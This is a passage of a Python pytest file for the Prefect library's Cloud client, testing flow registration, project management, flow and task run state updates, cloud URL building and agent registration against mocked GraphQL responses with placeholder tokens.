with pytest.raises(ClientError, match="Formatted graphql message"):
self.get_client().graphql({"query": "foo"})
formatter.assert_called_once()
def test_graphql_errors_allow_formatter_to_fail(
self, patch_post_response, monkeypatch
):
def erroring_formatter():
raise Exception("Bad formatter")
monkeypatch.setattr(
"prefect.client.client.format_graphql_request_error", erroring_formatter
)
with pytest.raises(
ClientError,
match=(
"This is likely caused by a poorly formatted GraphQL query or "
"mutation but the response could not be parsed for more details"
),
):
self.get_client().graphql({"query": "foo"})
def test_client_register_raises_if_required_param_isnt_scheduled(
patch_post, monkeypatch, tmpdir
):
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
a = prefect.schedules.clocks.DatesClock(
[pendulum.now("UTC").add(seconds=0.1)], parameter_defaults=dict(x=1)
)
b = prefect.schedules.clocks.DatesClock(
[pendulum.now("UTC").add(seconds=0.25)], parameter_defaults=dict(y=2)
)
x = prefect.Parameter("x", required=True)
flow = prefect.Flow(
"test", schedule=prefect.schedules.Schedule(clocks=[a, b]), tasks=[x]
)
flow.storage = prefect.storage.Local(tmpdir)
flow.result = flow.storage.result
with pytest.raises(
ClientError,
match="Flows with required parameters can not be scheduled automatically",
):
client.register(
flow,
project_name="my-default-project",
compressed=False,
version_group_id=str(uuid.uuid4()),
no_url=True,
)
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_doesnt_raise_for_scheduled_params(
patch_post, compressed, monkeypatch, tmpdir
):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
a = prefect.schedules.clocks.DatesClock(
[pendulum.now("UTC").add(seconds=0.1)], parameter_defaults=dict(x=1)
)
b = prefect.schedules.clocks.DatesClock(
[pendulum.now("UTC").add(seconds=0.25)], parameter_defaults=dict(x=2, y=5)
)
x = prefect.Parameter("x", required=True)
y = prefect.Parameter("y", default=1)
flow = prefect.Flow(
"test", schedule=prefect.schedules.Schedule(clocks=[a, b]), tasks=[x, y]
)
flow.storage = prefect.storage.Local(tmpdir)
flow.result = flow.storage.result
flow_id = client.register(
flow,
project_name="my-default-project",
compressed=compressed,
version_group_id=str(uuid.uuid4()),
no_url=True,
)
assert flow_id == "long-id"
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register(patch_post, compressed, monkeypatch, tmpdir):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
flow = prefect.Flow(name="test", storage=prefect.storage.Local(tmpdir))
flow.result = flow.storage.result
flow_id = client.register(
flow,
project_name="my-default-project",
compressed=compressed,
version_group_id=str(uuid.uuid4()),
no_url=True,
idempotency_key="foo",
)
assert flow_id == "long-id"
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_raises_for_keyed_flows_with_no_result(
patch_post, compressed, monkeypatch, tmpdir
):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
@prefect.task
def a(x):
pass
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
with prefect.Flow(name="test", storage=prefect.storage.Local(tmpdir)) as flow:
a(prefect.Task())
flow.result = None
with pytest.warns(UserWarning, match="result handler"):
client.register(
flow,
project_name="my-default-project",
compressed=compressed,
version_group_id=str(uuid.uuid4()),
no_url=True,
)
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_doesnt_raise_if_no_keyed_edges(
patch_post, compressed, monkeypatch, tmpdir
):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
flow = prefect.Flow(name="test", storage=prefect.storage.Local(tmpdir))
flow.result = None
flow_id = client.register(
flow,
project_name="my-default-project",
compressed=compressed,
version_group_id=str(uuid.uuid4()),
no_url=True,
)
assert flow_id == "long-id"
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_builds_flow(patch_post, compressed, monkeypatch, tmpdir):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
post = patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
flow = prefect.Flow(name="test", storage=prefect.storage.Local(tmpdir))
flow.result = flow.storage.result
client.register(
flow, project_name="my-default-project", compressed=compressed, no_url=True
)
# extract POST info
if compressed:
serialized_flow = decompress(
json.loads(post.call_args[1]["json"]["variables"])["input"][
"serialized_flow"
]
)
else:
serialized_flow = json.loads(post.call_args[1]["json"]["variables"])["input"][
"serialized_flow"
]
assert serialized_flow["storage"] is not None
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_docker_image_name(patch_post, compressed, monkeypatch, tmpdir):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
post = patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
monkeypatch.setattr("prefect.storage.Docker._build_image", MagicMock())
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
flow = prefect.Flow(
name="test",
storage=prefect.storage.Docker(image_name="test_image"),
environment=LocalEnvironment(),
)
flow.result = flow.storage.result
client.register(
flow,
project_name="my-default-project",
compressed=compressed,
build=True,
no_url=True,
)
# extract POST info
if compressed:
serialized_flow = decompress(
json.loads(post.call_args[1]["json"]["variables"])["input"][
"serialized_flow"
]
)
else:
serialized_flow = json.loads(post.call_args[1]["json"]["variables"])["input"][
"serialized_flow"
]
assert serialized_flow["storage"] is not None
assert "test_image" in serialized_flow["environment"]["metadata"]["image"]
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_default_prefect_image(
patch_post, compressed, monkeypatch, tmpdir
):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
post = patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
monkeypatch.setattr("prefect.storage.Docker._build_image", MagicMock())
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
flow = prefect.Flow(
name="test",
storage=prefect.storage.Local(tmpdir),
environment=LocalEnvironment(),
)
flow.result = flow.storage.result
client.register(
flow,
project_name="my-default-project",
compressed=compressed,
build=True,
no_url=True,
)
# extract POST info
if compressed:
serialized_flow = decompress(
json.loads(post.call_args[1]["json"]["variables"])["input"][
"serialized_flow"
]
)
else:
serialized_flow = json.loads(post.call_args[1]["json"]["variables"])["input"][
"serialized_flow"
]
assert serialized_flow["storage"] is not None
assert "prefecthq/prefect" in serialized_flow["environment"]["metadata"]["image"]
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_optionally_avoids_building_flow(
patch_post, compressed, monkeypatch
):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
post = patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
flow = prefect.Flow(name="test")
flow.result = Result()
client.register(
flow,
project_name="my-default-project",
build=False,
compressed=compressed,
no_url=True,
)
# extract POST info
if compressed:
serialized_flow = decompress(
json.loads(post.call_args[1]["json"]["variables"])["input"][
"serialized_flow"
]
)
else:
serialized_flow = json.loads(post.call_args[1]["json"]["variables"])["input"][
"serialized_flow"
]
assert serialized_flow["storage"] is None
def test_client_register_with_bad_proj_name(patch_post, monkeypatch, cloud_api):
patch_post({"data": {"project": []}})
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config({"cloud.auth_token": "secret_token", "backend": "cloud"}):
client = Client()
flow = prefect.Flow(name="test")
flow.result = Result()
with pytest.raises(ValueError) as exc:
client.register(flow, project_name="my-default-project", no_url=True)
assert "not found" in str(exc.value)
assert "prefect create project 'my-default-project'" in str(exc.value)
def test_client_create_project_that_already_exists(patch_posts, monkeypatch):
patch_posts(
[
{
"errors": [
{"message": "Uniqueness violation.", "path": ["create_project"]}
],
"data": {"create_project": None},
},
{"data": {"project": [{"id": "proj-id"}]}},
]
)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config({"cloud.auth_token": "secret_token", "backend": "cloud"}):
client = Client()
project_id = client.create_project(project_name="my-default-project")
assert project_id == "proj-id"
def test_client_delete_project(patch_post, monkeypatch):
patch_post(
{"data": {"project": [{"id": "test"}], "delete_project": {"success": True}}}
)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config({"cloud.auth_token": "secret_token", "backend": "cloud"}):
client = Client()
result = client.delete_project(project_name="my-default-project")
assert result is True
def test_client_delete_project_error(patch_post, monkeypatch):
patch_post(
{
"data": {
"project": {},
}
}
)
project_name = "my-default-project"
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config({"cloud.auth_token": "secret_token", "backend": "cloud"}):
client = Client()
with pytest.raises(ValueError, match="Project {} not found".format(project_name)):
client.delete_project(project_name=project_name)
def test_client_register_with_flow_that_cant_be_deserialized(patch_post, monkeypatch):
patch_post({"data": {"project": [{"id": "proj-id"}]}})
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
task = prefect.Task()
# we add a max_retries value to the task without a corresponding retry_delay;
# this will fail at deserialization
task.max_retries = 3
flow = prefect.Flow(name="test", tasks=[task])
flow.result = Result()
with pytest.raises(
ValueError,
match=(
"(Flow could not be deserialized).*"
"(`retry_delay` must be provided if max_retries > 0)"
),
):
client.register(
flow, project_name="my-default-project", build=False, no_url=True
)
@pytest.mark.parametrize("use_run_config", [True, False])
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_flow_id_output(
patch_post, use_run_config, compressed, monkeypatch, capsys, cloud_api, tmpdir
):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
"flow_by_pk": {"flow_group_id": "fg-id"},
}
}
else:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow": {"id": "long-id"},
"flow_by_pk": {"flow_group_id": "fg-id"},
}
}
patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
labels = ["test1", "test2"]
storage = Local(tmpdir)
if use_run_config:
flow = prefect.Flow(
name="test", storage=storage, run_config=LocalRun(labels=labels)
)
flow.environment = None
else:
flow = prefect.Flow(
name="test", storage=storage, environment=LocalEnvironment(labels=labels)
)
flow.result = flow.storage.result
flow_id = client.register(
flow,
project_name="my-default-project",
compressed=compressed,
version_group_id=str(uuid.uuid4()),
)
assert flow_id == "long-id"
captured = capsys.readouterr()
assert "Flow URL: https://cloud.prefect.io/tslug/flow/fg-id\n" in captured.out
assert f"Labels: {labels}" in captured.out
@pytest.mark.parametrize("compressed", [True, False])
def test_client_register_flow_id_no_output(
patch_post, compressed, monkeypatch, capsys, tmpdir
):
if compressed:
response = {
"data": {
"project": [{"id": "proj-id"}],
"create_flow_from_compressed_string": {"id": "long-id"},
}
}
else:
response = {
"data": {"project": [{"id": "proj-id"}], "create_flow": {"id": "long-id"}}
}
patch_post(response)
monkeypatch.setattr(
"prefect.client.Client.get_default_tenant_slug", MagicMock(return_value="tslug")
)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
flow = prefect.Flow(name="test", storage=prefect.storage.Local(tmpdir))
flow.result = flow.storage.result
flow_id = client.register(
flow,
project_name="my-default-project",
compressed=compressed,
version_group_id=str(uuid.uuid4()),
no_url=True,
)
assert flow_id == "long-id"
captured = capsys.readouterr()
assert not captured.out
def test_set_flow_run_name(patch_posts, cloud_api):
mutation_resp = {"data": {"set_flow_run_name": {"success": True}}}
patch_posts(mutation_resp)
client = Client()
result = client.set_flow_run_name(flow_run_id="74-salt", name="name")
assert result is True
def test_cancel_flow_run(patch_posts, cloud_api):
mutation_resp = {"data": {"cancel_flow_run": {"state": True}}}
patch_posts(mutation_resp)
client = Client()
result = client.cancel_flow_run(flow_run_id="74-salt")
assert result is True
def test_get_flow_run_info(patch_post):
response = {
"flow_run_by_pk": {
"id": "da344768-5f5d-4eaf-9bca-83815617f713",
"flow_id": "da344768-5f5d-4eaf-9bca-83815617f713",
"name": "flow-run-name",
"flow": {"project": {"id": "my-project-id", "name": "my-project-name"}},
"version": 0,
"parameters": {"a": 1},
"context": None,
"scheduled_start_time": "2019-01-25T19:15:58.632412+00:00",
"serialized_state": {
"type": "Pending",
"_result": {
"type": "PrefectResult",
"location": "42",
},
"message": None,
"__version__": "0.3.3+309.gf1db024",
"cached_inputs": None,
},
"task_runs": [
{
"id": "da344768-5f5d-4eaf-9bca-83815617f713",
"task": {
"id": "da344768-5f5d-4eaf-9bca-83815617f713",
"slug": "da344768-5f5d-4eaf-9bca-83815617f713",
},
"version": 0,
"serialized_state": {
"type": "Pending",
"result": None,
"message": None,
"__version__": "0.3.3+309.gf1db024",
"cached_inputs": None,
},
}
],
}
}
patch_post(dict(data=response))
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
result = client.get_flow_run_info(flow_run_id="74-salt")
assert isinstance(result, FlowRunInfoResult)
assert isinstance(result.scheduled_start_time, datetime.datetime)
assert result.scheduled_start_time.minute == 15
assert result.scheduled_start_time.year == 2019
assert isinstance(result.state, Pending)
assert result.state._result.location == "42"
assert result.state.message is None
assert result.version == 0
assert result.project.name == "my-project-name"
assert result.project.id == "my-project-id"
assert result.parameters == {"a": 1}
assert result.context == {}
def test_get_flow_run_info_with_nontrivial_payloads(patch_post):
response = {
"flow_run_by_pk": {
"id": "da344768-5f5d-4eaf-9bca-83815617f713",
"flow_id": "da344768-5f5d-4eaf-9bca-83815617f713",
"name": "flow-run-name",
"flow": {"project": {"id": "my-project-id", "name": "my-project-name"}},
"version": 0,
"parameters": {"x": {"deep": {"nested": 5}}},
"context": {"my_val": "test"},
"scheduled_start_time": "2019-01-25T19:15:58.632412+00:00",
"serialized_state": {
"type": "Pending",
"_result": {
"type": "PrefectResult",
"location": "42",
},
"message": None,
"__version__": "0.3.3+309.gf1db024",
"cached_inputs": None,
},
"task_runs": [
{
"id": "da344768-5f5d-4eaf-9bca-83815617f713",
"task": {
"id": "da344768-5f5d-4eaf-9bca-83815617f713",
"slug": "da344768-5f5d-4eaf-9bca-83815617f713",
},
"version": 0,
"serialized_state": {
"type": "Pending",
"result": None,
"message": None,
"__version__": "0.3.3+309.gf1db024",
"cached_inputs": None,
},
}
],
}
}
patch_post(dict(data=response))
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
result = client.get_flow_run_info(flow_run_id="74-salt")
assert isinstance(result, FlowRunInfoResult)
assert isinstance(result.scheduled_start_time, datetime.datetime)
assert result.scheduled_start_time.minute == 15
assert result.scheduled_start_time.year == 2019
assert isinstance(result.state, Pending)
assert result.state._result.location == "42"
assert result.state.message is None
assert result.version == 0
assert result.project.name == "my-project-name"
assert result.project.id == "my-project-id"
assert isinstance(result.parameters, dict)
assert result.parameters["x"]["deep"]["nested"] == 5
# ensures all sub-dictionaries are actually dictionaries
assert json.loads(json.dumps(result.parameters)) == result.parameters
assert isinstance(result.context, dict)
assert result.context["my_val"] == "test"
def test_get_flow_run_info_raises_informative_error(patch_post):
patch_post(dict(data={"flow_run_by_pk": None}))
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
with pytest.raises(ClientError, match="not found"):
client.get_flow_run_info(flow_run_id="74-salt")
def test_get_flow_run_state(patch_posts, cloud_api, runner_token):
query_resp = {
"flow_run_by_pk": {
"serialized_state": {
"type": "Pending",
"_result": {
"type": "PrefectResult",
"location": "42",
},
"message": None,
"__version__": "0.3.3+310.gd19b9b7.dirty",
"cached_inputs": None,
},
}
}
patch_posts([dict(data=query_resp)])
client = Client()
state = client.get_flow_run_state(flow_run_id="72-salt")
assert isinstance(state, Pending)
assert state._result.location == "42"
assert state.message is None
def test_set_flow_run_state(patch_post):
response = {
"data": {
"set_flow_run_states": {
"states": [{"id": 1, "status": "SUCCESS", "message": None}]
}
}
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
state = Pending()
result = client.set_flow_run_state(flow_run_id="74-salt", version=0, state=state)
assert isinstance(result, State)
assert isinstance(result, Pending)
def test_set_flow_run_state_gets_queued(patch_post):
response = {
"data": {
"set_flow_run_states": {
"states": [{"id": "74-salt", "status": "QUEUED", "message": None}]
}
}
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
state = Running()
result = client.set_flow_run_state(flow_run_id="74-salt", version=0, state=state)
assert isinstance(result, State)
assert state != result
assert result.is_queued()
@pytest.mark.parametrize("interval_seconds", [10, 20, 30, 40])
def test_set_flow_run_state_uses_config_queue_interval(
patch_post, interval_seconds, monkeypatch
):
response = {
"data": {
"set_flow_run_states": {
"states": [{"id": "74-salt", "status": "QUEUED", "message": None}]
}
}
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
"cloud.queue_interval": interval_seconds,
}
):
client = Client()
# Mocking the concept of "now" so we can have consistent assertions
now = pendulum.now("UTC")
mock_now = MagicMock(return_value=now)
monkeypatch.setattr("prefect.client.client.pendulum.now", mock_now)
result = client.set_flow_run_state(
flow_run_id="74-salt", version=0, state=Running()
)
mock_now.assert_called_once()
assert now.add(seconds=interval_seconds) == result.start_time
def test_set_flow_run_state_with_error(patch_post):
response = {
"data": {"set_flow_run_state": None},
"errors": [{"message": "something went wrong"}],
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
with pytest.raises(ClientError, match="something went wrong"):
client.set_flow_run_state(flow_run_id="74-salt", version=0, state=Pending())
def test_get_task_run_info(patch_posts):
mutation_resp = {
"get_or_create_task_run_info": {
"id": "772bd9ee-40d7-479c-9839-4ab3a793cabd",
"version": 0,
"serialized_state": {
"type": "Pending",
"_result": {
"type": "PrefectResult",
"location": "42",
},
"message": None,
"__version__": "0.3.3+310.gd19b9b7.dirty",
"cached_inputs": None,
},
}
}
patch_posts([dict(data=mutation_resp)])
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
result = client.get_task_run_info(
flow_run_id="74-salt", task_id="72-salt", map_index=None
)
assert isinstance(result, TaskRunInfoResult)
assert isinstance(result.state, Pending)
assert result.state._result.location == "42"
assert result.state.message is None
assert result.id == "772bd9ee-40d7-479c-9839-4ab3a793cabd"
assert result.version == 0
def test_get_task_run_info_with_error(patch_post):
response = {
"data": {"get_or_create_task_run": None},
"errors": [{"message": "something went wrong"}],
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
with pytest.raises(ClientError, match="something went wrong"):
client.get_task_run_info(
flow_run_id="74-salt", task_id="72-salt", map_index=None
)
def test_set_task_run_name(patch_posts, cloud_api):
mutation_resp = {"data": {"set_task_run_name": {"success": True}}}
patch_posts(mutation_resp)
client = Client()
result = client.set_task_run_name(task_run_id="76-salt", name="name")
assert result is True
def test_get_task_run_state(patch_posts, cloud_api, runner_token):
query_resp = {
"get_task_run_info": {
"serialized_state": {
"type": "Pending",
"_result": {
"type": "PrefectResult",
"location": "42",
},
"message": None,
"__version__": "0.3.3+310.gd19b9b7.dirty",
"cached_inputs": None,
},
}
}
patch_posts([dict(data=query_resp)])
client = Client()
state = client.get_task_run_state(task_run_id="72-salt")
assert isinstance(state, Pending)
assert state._result.location == "42"
assert state.message is None
def test_set_task_run_state(patch_post):
response = {"data": {"set_task_run_states": {"states": [{"status": "SUCCESS"}]}}}
patch_post(response)
state = Pending()
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
result = client.set_task_run_state(task_run_id="76-salt", version=0, state=state)
assert result is state
def test_set_task_run_state_responds_to_status(patch_post):
response = {"data": {"set_task_run_states": {"states": [{"status": "QUEUED"}]}}}
patch_post(response)
state = Pending()
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
result = client.set_task_run_state(task_run_id="76-salt", version=0, state=state)
assert result.is_queued()
assert result.state is None # caller should set this
def test_set_task_run_state_responds_to_config_when_queued(patch_post):
response = {
"data": {
"set_task_run_states": {
"states": [{"status": "QUEUED", "message": "hol up"}]
}
}
}
patch_post(response)
state = Pending()
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
"cloud.queue_interval": 750,
}
):
client = Client()
result = client.set_task_run_state(
task_run_id="76-salt", version=0, state=state
)
assert result.is_queued()
assert result.state is None # caller should set this
assert result.message == "hol up"
assert result.start_time >= pendulum.now("UTC").add(seconds=749)
def test_set_task_run_state_with_error(patch_post):
response = {
"data": {"set_task_run_states": None},
"errors": [{"message": "something went wrong"}],
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
with pytest.raises(ClientError, match="something went wrong"):
client.set_task_run_state(task_run_id="76-salt", version=0, state=Pending())
def test_create_flow_run_requires_flow_id_or_version_group_id():
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
with pytest.raises(
ValueError, match="flow_id or version_group_id must be provided"
):
client.create_flow_run()
@pytest.mark.parametrize("use_flow_id", [False, True])
@pytest.mark.parametrize("use_extra_args", [False, True])
def test_create_flow_run_with_input(patch_post, use_flow_id, use_extra_args):
response = {
"data": {"create_flow_run": {"id": "FOO"}},
}
post = patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
kwargs = (
{"flow_id": "my-flow-id"}
if use_flow_id
else {"version_group_id": "my-version-group-id"}
)
if use_extra_args:
extra_kwargs = {
"parameters": {"x": 1},
"run_config": LocalRun(),
"labels": ["b"],
"context": {"key": "val"},
"idempotency_key": "my-idem-key",
"scheduled_start_time": datetime.datetime.now(),
"run_name": "my-run-name",
}
expected = extra_kwargs.copy()
expected.update(
flow_run_name=expected.pop("run_name"),
run_config=expected["run_config"].serialize(),
scheduled_start_time=expected["scheduled_start_time"].isoformat(),
**kwargs,
)
kwargs.update(extra_kwargs)
else:
expected = kwargs
assert client.create_flow_run(**kwargs) == "FOO"
variables = json.loads(post.call_args[1]["json"]["variables"])
input = variables["input"]
assert variables["input"] == expected
def test_get_default_tenant_slug_as_user(patch_post):
response = {
"data": {"user": [{"default_membership": {"tenant": {"slug": "tslug"}}}]}
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
slug = client.get_default_tenant_slug(as_user=True)
assert slug == "tslug"
def test_get_default_tenant_slug_not_as_user(patch_post):
response = {
"data": {
"tenant": [
{"slug": "tslug", "id": "tenant-id"},
{"slug": "wrongslug", "id": "foo"},
]
}
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"cloud.tenant_id": "tenant-id",
"backend": "cloud",
}
):
client = Client()
slug = client.get_default_tenant_slug(as_user=False)
assert slug == "tslug"
def test_get_cloud_url_as_user(patch_post, cloud_api):
response = {
"data": {"user": [{"default_membership": {"tenant": {"slug": "tslug"}}}]}
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://api.prefect.io",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
url = client.get_cloud_url(subdirectory="flow", id="id", as_user=True)
assert url == "http://cloud.prefect.io/tslug/flow/id"
url = client.get_cloud_url(subdirectory="flow-run", id="id2", as_user=True)
assert url == "http://cloud.prefect.io/tslug/flow-run/id2"
def test_get_cloud_url_not_as_user(patch_post, cloud_api):
response = {
"data": {
"tenant": [
{"slug": "tslug", "id": "tenant-id"},
{"slug": "wrongslug", "id": "foo"},
]
}
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://api.prefect.io",
"backend": "cloud",
}
):
client = Client()
client._tenant_id = "tenant-id"
url = client.get_cloud_url(subdirectory="flow", id="id", as_user=False)
assert url == "http://cloud.prefect.io/tslug/flow/id"
url = client.get_cloud_url(subdirectory="flow-run", id="id2", as_user=False)
assert url == "http://cloud.prefect.io/tslug/flow-run/id2"
def test_get_cloud_url_different_regex(patch_post, cloud_api):
response = {
"data": {"user": [{"default_membership": {"tenant": {"slug": "tslug"}}}]}
}
patch_post(response)
with set_temporary_config(
{
"cloud.api": "http://api-hello.prefect.io",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
url = client.get_cloud_url(subdirectory="flow", id="id")
assert url == "http://hello.prefect.io/tslug/flow/id"
url = client.get_cloud_url(subdirectory="flow-run", id="id2")
assert url == "http://hello.prefect.io/tslug/flow-run/id2"
def test_register_agent(cloud_api):
with set_temporary_config({"backend": "cloud"}):
client = Client(api_key="foo")
client.graphql = MagicMock(
return_value=GraphQLResult(
{
"data": {
"register_agent": {"id": "AGENT-ID"},
"auth_info": {"tenant_id": "TENANT-ID"},
}
}
)
)
agent_id = client.register_agent(
agent_type="type", name="name", labels=["1", "2"], agent_config_id="asdf"
)
client.graphql.assert_called_with(
{
"mutation($input: register_agent_input!)": {
"register_agent(input: $input)": {"id"}
}
},
variables={
"input": {
"type": "type",
"name": "name",
"labels": ["1", "2"],
"tenant_id": "TENANT-ID",
"agent_config_id": "asdf",
}
},
)
assert agent_id == "AGENT-ID"
def test_register_agent_raises_error(patch_post, cloud_api):
response = {"data": {"register_agent": {"id": None}}}
patch_post(response)
with set_temporary_config({"cloud.auth_token": "secret_token", "backend": "cloud"}):
client = Client()
with pytest.raises(ValueError):
client.register_agent(agent_type="type", name="name", labels=["1", "2"])
def test_get_agent_config(patch_post, cloud_api):
response = {"data": {"agent_config": [{"settings": {"yes": "no"}}]}}
patch_post(response)
with set_temporary_config({"cloud.auth_token": "secret_token", "backend": "cloud"}):
client = Client()
agent_config = client.get_agent_config(agent_config_id="id")
assert agent_config == {"yes": "no"}
def test_artifacts_client_functions(patch_post, cloud_api):
